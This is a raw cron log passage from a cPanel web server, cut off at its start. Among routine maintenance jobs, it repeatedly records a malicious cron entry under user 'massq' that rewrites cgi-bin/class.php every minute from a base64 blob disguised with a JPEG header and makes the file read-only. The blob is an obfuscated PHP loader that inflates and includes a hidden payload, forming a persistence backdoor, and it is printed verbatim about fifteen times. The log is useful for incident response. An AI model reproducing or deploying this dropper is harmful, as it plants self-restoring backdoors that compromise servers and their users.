lZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:37:01 server CROND[3482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:37:01 server CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:37:01 server CROND[3484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:38:01 server CROND[3861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:38:01 server CROND[3862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:38:01 server CROND[3863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:39:01 server CROND[4243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:39:01 server CROND[4244]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 05:39:01 server CROND[4242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:39:01 server CROND[4245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:40:01 server CROND[4727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:40:01 server CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:40:01 server CROND[4732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:40:01 server CROND[4736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:40:01 server CROND[4733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:40:01 server CROND[4737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:40:01 server CROND[4739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:40:01 server CROND[4735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:41:01 server CROND[5588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:41:01 server CROND[5589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:41:01 server CROND[5590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:42:01 server CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:42:01 server CROND[5997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:42:01 server CROND[5998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:42:01 server CROND[5999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:43:01 server CROND[6382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:43:01 server CROND[6383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:43:01 server CROND[6384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:44:01 server CROND[6787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:44:01 server CROND[6788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:44:01 server CROND[6789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:45:01 server CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:45:01 server CROND[7236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 05:45:01 server CROND[7237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:45:01 server CROND[7238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:45:01 server CROND[7239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:45:01 server CROND[7243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 05:45:01 server CROND[7244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:46:01 server CROND[8118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:46:01 server CROND[8119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:46:01 server CROND[8120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:47:01 server CROND[8605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:47:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:47:01 server CROND[8607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:48:01 server CROND[9065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:48:01 server CROND[9066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 05:48:01 server CROND[9067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:49:01 server CROND[9450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:49:01 server CROND[9451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
